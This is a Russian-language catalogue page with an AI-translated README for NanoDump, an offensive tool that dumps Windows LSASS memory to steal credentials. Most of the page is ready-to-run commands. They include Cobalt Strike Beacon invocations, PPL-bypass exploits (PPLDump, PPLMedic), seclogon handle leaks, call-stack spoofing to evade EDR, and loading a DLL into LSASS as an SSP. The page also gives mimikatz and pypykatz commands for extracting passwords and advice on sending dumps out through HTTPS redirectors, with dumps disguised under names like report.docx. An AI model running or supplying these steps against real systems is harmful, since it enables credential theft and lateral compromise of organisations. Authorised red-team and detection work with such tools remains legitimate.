Nanodump

Post-Exploitation vlatest не обновлялся >2 лет

Компактный инструмент для исследования дампинга учётных данных — изучает защиту LSASS и методы обнаружения доступа к памяти процесса.

vlatest
current

Установка
git clone https://github.com/fortra/nanodump.git
make -f Makefile.mingw
показать оригинал переведено ИИ

NanoDump

Гибкий инструмент, создающий минидамп процесса LSASS.

screenshot

Оглавление

  1. Использование
  2. Функции
  3. Комбинации техник
  4. Примеры
  5. HTTPS-редиректоры

1. Использование

usage: Z:\nanodump.x64.exe [--write C:\Windows\Temp\doc.docx] [--valid] [--duplicate] [--elevate-handle] [--duplicate-elevate] [--seclogon-leak-local] [--seclogon-leak-remote C:\Windows\notepad.exe] [--seclogon-duplicate] [--spoof-callstack] [--silent-process-exit C:\Windows\Temp] [--shtinkering] [--fork] [--snapshot] [--getpid] [--help]
Dumpfile options:
    --write DUMP_PATH, -w DUMP_PATH
            filename of the dump
    --valid, -v
            create a dump with a valid signature
Obtain an LSASS handle via:
    --duplicate, -d
            duplicate a high privileged existing LSASS handle
    --duplicate-elevate, -de
            duplicate a low privileged existing LSASS handle and then elevate it
    --seclogon-leak-local, -sll
            leak an LSASS handle into nanodump via seclogon
    --seclogon-leak-remote BIN_PATH, -slt BIN_PATH
            leak an LSASS handle into another process via seclogon and duplicate it
    --seclogon-duplicate, -sd
            make seclogon open a handle to LSASS and duplicate it
    --spoof-callstack, -sc
            open a handle to LSASS using a fake calling stack
Let WerFault.exe (instead of nanodump) create the dump
    --silent-process-exit DUMP_FOLDER, -spe DUMP_FOLDER
            force WerFault.exe to dump LSASS via SilentProcessExit
    --shtinkering, -sk
            force WerFault.exe to dump LSASS via Shtinkering
Avoid reading LSASS directly:
    --fork, -f
            fork the target process before dumping
    --snapshot, -s
            snapshot the target process before dumping
Avoid opening a handle with high privileges:
    --elevate-handle, -eh
            open a handle to LSASS with low privileges and duplicate it to gain higher privileges
Miscellaneous:
    --getpid
            print the PID of LSASS and leave
    --chunk-size
            chunk size in KiB used to exfiltrate the dump without touching disk (default 900)
Help:
    --help, -h
            print this help message and leave

Клонирование

git clone https://github.com/fortra/nanodump.git

Компиляция (опционально)

На Linux с MinGW

make -f Makefile.mingw

На Windows с MSVC (без поддержки BOF)

nmake -f Makefile.msvc

Импорт (только для Cobalt Strike)

Импортируйте скрипт NanoDump.cna в Cobalt Strike.

Запуск

Выполните команду nanodump в консоли Beacon или запустите бинарник nanodump.x64.exe.

Восстановление подписи

Если вы не указали флаг --valid, необходимо восстановить недействительную подпись:

scripts/restore_signature <dumpfile>

Получение секретов

mimikatz: Чтобы извлечь секреты, просто выполните:

mimikatz.exe "sekurlsa::minidump <dumpfile>" "sekurlsa::logonPasswords full" exit

pypykatz: Если вы предпочитаете оставаться на Linux, можно использовать портированную на Python 3 версию mimikatz под названием pypykatz:

python3 -m pypykatz lsa minidump <dumpfie>

2. Функции

Форкинг процесса

Чтобы избежать открытия дескриптора LSASS с правом PROCESS_VM_READ, можно использовать параметр --fork. Это заставит nanodump создать дескриптор LSASS с правом доступа PROCESS_CREATE_PROCESS, а затем создать «клон» процесса. Этот новый процесс будет дампиться. Хотя это приведёт к созданию и удалению процесса, это устраняет необходимость прямого чтения LSASS.

Снимок состояния

Аналогично опции --fork, можно использовать --snapshot для создания снимка процесса LSASS. Это заставит nanodump создать дескриптор LSASS с правом доступа PROCESS_CREATE_PROCESS, а затем создать снимок процесса с помощью PssNtCaptureSnapshot. Этот новый процесс будет дампиться. Снимок будет автоматически освобождён после завершения.

Дублирование дескриптора

Поскольку открытие дескриптора LSASS может быть обнаружено, nanodump может вместо этого искать существующие дескрипторы LSASS. Если такой дескриптор найден, он будет скопирован и использован для создания минидампа. Обратите внимание, что нет гарантии, что такой дескриптор будет найден.

Повышение привилегий дескриптора

Можно получить дескриптор LSASS с правом PROCESS_QUERY_LIMITED_INFORMATION, который, скорее всего, находится в белом списке, а затем повысить привилегии этого дескриптора, дублируя его.

Утечка дескриптора через seclogon (локально)

Чтобы избежать открытия дескриптора LSASS, можно воспользоваться уязвимостью службы seclogon, вызвав CreateProcessWithLogonW, чтобы передать дескриптор LSASS в бинарник nanodump. Чтобы включить эту функцию, используйте параметр --seclogon-leak-local. Учтите, что при использовании из Cobalt Strike необходимо записать неподписанный бинарник nanodump на диск для работы этой функции.

Утечка дескриптора через seclogon (удалённо)

Эта техника очень похожа на предыдущую, но вместо передачи дескриптора в nanodump он передаётся в другой бинарник, а затем дублируется, чтобы nanodump мог его использовать. Используйте флаг --seclogon-leak-remote для доступа к этой функции.

Дублирование дескриптора через seclogon

Можно заставить процесс seclogon открыть дескриптор LSASS и дублировать его, прежде чем он будет закрыт, выиграв гонку условий с помощью файловых блокировок. Используйте флаг --seclogon-duplicate для доступа к этой функции.

Загрузка nanodump как SSP

Можно загрузить nanodump как SSP в LSASS, чтобы избежать открытия дескриптора. Когда DLL будет загружена в LSASS, параметры будут переданы через именованный канал, и после завершения дампа DllMain вернёт FALSE, чтобы заставить LSASS выгрузить DLL nanodump. Можно жёстко закодировать параметры в DLL и избежать использования именованного канала, используя флаг компилятора PASS_PARAMS_VIA_NAMED_PIPES=0.

Загрузка и загрузка DLL nanodump

По умолчанию неподписанная DLL nanodump будет загружена в папку Temp, откуда она будет автоматически удалена.

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp

Если вы хотите загрузить существующую DLL, выполните:

beacon> nanodump_ssp -v -w C:\Windows\Temp\lsass.dmp --load-dll C:\Windows\Temp\ssp.dll

Эксплойт PPL Dump

Если LSASS работает как Protected Process Light (PPL), можно попробовать обойти защиту с помощью эксплойта в пользовательском пространстве, обнаруженного Project Zero. В случае успеха дамп будет записан на диск.

Обратите внимание, что эта уязвимость была исправлена в июльском пакете обновлений 2022 года (Windows 10 21H2 Build 19044.1826)

Чтобы использовать эту функцию, используйте команду nanodump_ppl_dump:

beacon> nanodump_ppl_dump -v -w C:\Windows\Temp\lsass.dmp

Эксплойт PPL Medic


Nanodump также реализует эксплойт PPLMedic, который работает на системах с пакетом обновлений от июля 2022 года. Параметры будут передаваться в DLL nanodump через именованный канал. Вы можете жестко закодировать параметры в DLL и избежать использования именованного канала, установив флаг компилятора PASS_PARAMS_VIA_NAMED_PIPES=0.

Чтобы воспользоваться этой функцией, используйте команду nanodump_ppl_medic

beacon> nanodump_ppl_medic -v -w C:\Windows\Temp\lsass.dmp

WerFault

Вы можете заставить процесс WerFault.exe создать полный дамп памяти LSASS. Учтите, что для этого требуется возможность записи в реестр. Поскольку дамп создается не с помощью nanodump, у него всегда будет действительная подпись.

Silent Process Exit

Чтобы использовать технику Silent Process Exit, используйте параметр --silent-process-exit и укажите путь, где должен быть создан дамп.

beacon> nanodump --silent-process-exit C:\Windows\Temp\

Также будет создан дамп процесса nanodump, примерно такой:

PS C:\> dir 'C:\Windows\Temp\lsass.exe-(PID-648)-4035593\'

Directory: C:\Windows\Temp\lsass.exe-(PID-648)-4035593

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         6/23/2022   7:40 AM       58830409 lsass.exe-(PID-648).dmp
-a----         6/23/2022   7:40 AM        7862825 nanodump.x64.exe-(PID-3224).dmp

Shtinkering

Вы также можете использовать технику Shtinkering, для которой требуется, чтобы nanodump запускался от имени SYSTEM:
beacon> nanodump --shtinkering
Дамп обычно создается в каталоге `C:\Windows\system32\config\systemprofile\AppData\Local\CrashDumps`

Подмена стека вызовов

Вы можете открыть дескриптор LSASS с поддельным стеком вызовов, чтобы сделать вызов функции более легитимным (особенно при запуске в виде BOF). Чтобы воспользоваться этой функцией, используйте параметр `--spoof-callstack`.

3. Комбинация техник

Вы можете комбинировать множество техник, чтобы настроить работу nanodump. В следующей таблице указано, какие флаги можно использовать вместе. | | --write | --valid | --duplicate | --elevate-handle | --duplicate-elevate | --seclogon-leak-local | --seclogon-leak-remote | --seclogon-duplicate | --spoof-callstack | --silent-process-exit | --shtinkering | --fork | --snapshot | SSP | PPL_DUMP | PPL_MEDIC | |------------------------|:-------:|:-------:|:-----------:|:-----------------:|:---------------------:|:---------------------:|:----------------------:|:--------------------:|:-----------------:|:---------------------:|:-------------:|:------:|:----------:|:---:|:--------:|:---------:| | --write | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | | | ✓ | ✓ | | ✓ | ✓ | | --valid | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | | | ✓ | ✓ | | ✓ | ✓ | | --duplicate | ✓ | ✓ | ✓ | | | | | | | | ✓ | ✓ | ✓ | | ✓ | | | --elevate-handle | ✓ | ✓ | | ✓ | | | | | ✓ | | ✓ | ✓ | ✓ | | | ✓ | | --duplicate-elevate | ✓ | ✓ | | | ✓ | | | | | | ✓ | ✓ | ✓ | | | | | --seclogon-leak-local | ✓ | ✓ | | | | ✓ | | | | | ✓ | ✓ | ✓ | | | | | --seclogon-leak-remote | ✓ | ✓ | | | | | ✓ | | | | ✓ | ✓ | ✓ | | | | | --seclogon-duplicate | ✓ | ✓ | | | | | | ✓ | | | ✓ | ✓ | ✓ | | | | | --spoof-callstack | ✓ | ✓ | | ✓ | | | | | ✓ | | ✓ | ✓ | ✓ | | | | | --silent-process-exit | | | | | | | | | | ✓ | | | | | | | | --shtinkering | | | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | | ✓ | | | | | | | --fork | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | | | ✓ | | | | | | --snapshot | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | ✓ | | | | ✓ | | | | | SSP | | | | | | | | | | | | | | ✓ | | | | PPL_DUMP | ✓ | ✓ | ✓ | | | | | | | | | | | | ✓ | | | PPL_MEDIC | ✓ | ✓ | | ✓ | | | | | | | | | | | | ✓ ## 4. Примеры Чтение LSASS косвенно через создание форка и запись дампа на диск с недействительной подписью:
beacon> nanodump --fork --write C:\lsass.dmp
Использование утечки seclogon удалённо для получения дескриптора LSASS в процессе notepad, дублирование этого дескриптора для доступа к LSASS, затем чтение косвенно через создание форка и загрузка дампа с действительной подписью:
beacon> nanodump --seclogon-leak-remote C:\Windows\notepad.exe --fork --valid
Получение дескриптора через утечку seclogon локально, чтение LSASS косвенно с использованием форка и запись дампа на диск с действительной подписью (бинарник nanodump будет загружен!):
beacon> nanodump --seclogon-leak-local --fork --valid --write C:\Windows\Temp\lsass.dmp
Загрузка дампа с недействительной подписью (по умолчанию):
beacon> nanodump
Дублирование существующего дескриптора и запись дампа на диск с недействительной подписью:
beacon> nanodump --duplicate --write C:\Windows\Temp\report.docx
Получение PID LSASS:
beacon> nanodump --getpid
Загрузка nanodump в LSASS как SSP (бинарник nanodump будет загружен!):
beacon> nanodump_ssp -w C:\Windows\Temp\lsass.dmp
Дамп LSASS с обходом PPL с помощью эксплойта PPLDump, дублируя дескриптор, который имеет `csrss.exe` на LSASS:
beacon> nanodump_ppl_dump --duplicate --write C:\Windows\Temp\lsass.dmp
Дамп LSASS с обходом PPL с помощью эксплойта PPLMedic, открывая дескриптор с низкими привилегиями к LSASS и затем повышая его:
beacon> nanodump_ppl_medic --elevate-handle --write C:\Windows\Temp\lsass.dmp
Обман seclogon для открытия дескриптора к LSASS и его дублирование, затем загрузка дампа с недействительной подписью:
beacon> nanodump --seclogon-duplicate
Заставляем процесс WerFault.exe создать полный дамп памяти в папке Temp:
beacon> nanodump --werfault C:\Windows\Temp\
Открытие дескриптора к LSASS с поддельным стеком вызовов и загрузка минидампа с недействительной подписью:
beacon> nanodump --spoof-callstack
Использование техники Shtinkering:
beacon> nanodump --shtinkering
Получение дескриптора через утечку seclogon локально и создание дампа с использованием техники Shtinkering:
beacon> nanodump --seclogon-leak-local --shtinkering
Получение дескриптора с низкими привилегиями и его повышение с помощью `_elevate handle_`:
beacon> nanodump --elevate-handle
Получение дескриптора с низкими привилегиями с использованием поддельного стека вызовов и его повышение с помощью `_elevate handle_`:
beacon> nanodump --elevate-handle --spoof-callstack
Дублирование существующего дескриптора с низкими привилегиями и его повышение с помощью `_elevate handle_`:
beacon> nanodump --duplicate-elevate
## 5. HTTPS-редиректоры Если вы используете HTTPS-редиректор (как и должно быть), вы можете столкнуться с проблемами при безфайловой загрузке дампа из-за размера запросов, которые передают дамп. Увеличьте максимальный размер запросов на вашем веб-сервере, чтобы позволить nanodump загружать дамп. #### NGINX
location ~ ^...$ {
    ...
    client_max_body_size 50M;
}
#### Apache2
<Directory "...">
    LimitRequestBody  52428800
</Directory>
## Благодарности - [skelsec](https://twitter.com/skelsec) за написание [minidump](https://github.com/skelsec/minidump), что было критически важно для изучения формата файла минидампа. - [freefirex](https://twitter.com/freefirex2) из [CS-Situational-Awareness-BOF](https://github.com/trustedsec/CS-Situational-Awareness-BOF) в Trustedsec за множество классных трюков для BOF. - [Jackson_T](https://twitter.com/Jackson_T) за [SysWhispers2](https://github.com/jthuraisamy/SysWhispers2). - [BillDemirkapi](https://twitter.com/BillDemirkapi) за [Process Forking](https://billdemirkapi.me/abusing-windows-implementation-of-fork-for-stealthy-memory-operations/). - [Antonio Cocomazzi](https://twitter.com/splinter_code) за [Использование утекших дескрипторов для дампа памяти LSASS](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-2.html) и [Гонка за дампами LSASS](https://splintercod3.blogspot.com/p/the-hidden-side-of-seclogon-part-3.html). - [xpn](https://twitter.com/_xpn_) за [Исследование Mimikatz — Часть 2 — SSP](https://blog.xpnsec.com/exploring-mimikatz-part-2/). - [Matteo Malvica](https://twitter.com/matteomalvica) за [Обход WinDefender ATP для кражи учётных данных: попадание после неудачных попыток](https://www.matteomalvica.com/blog/2019/12/02/win-defender-atp-cred-bypass/). - [James Forshaw](https://twitter.com/tiraniddo) за [Трюки эксплуатирования Windows: эксплуатирование произвольного создания каталога объектов для локального повышения привилегий](https://googleprojectzero.blogspot.com/2018/08/windows-exploitation-tricks-exploiting.html). - [itm4n](https://twitter.com/itm4n) за оригинальную реализацию эксплойтов PPL в пользовательском пространстве, [PPLDump](https://github.com/itm4n/PPLdump) и [PPLMedic](https://github.com/itm4n/PPLmedic). - [Asaf Gilboa](https://mobile.twitter.com/asaf_gilboa) за [Дампы памяти LSASS стали более скрытными, чем когда-либо — Часть 2](https://www.deepinstinct.com/blog/lsass-memory-dumps-are-stealthier-than-ever-before-part-2) и технику Shtinkering. - [William Burgess](https://twitter.com/joehowwolf) за [Подмена стека вызовов для обмана EDR](https://labs.withsecure.com/blog/spoofing-call-stacks-to-confuse-edrs). - [Себастьян Фельдманн](https://twitter.com/thefLinkk) и [Фабиан](https://twitter.com/testert01) за технику `_elevate handle_`, обсужденную на [Преобразуй свой вредоносный код!](https://www.youtube.com/watch?v=AucQUjJBJuw)
Войдите, чтобы оставить комментарий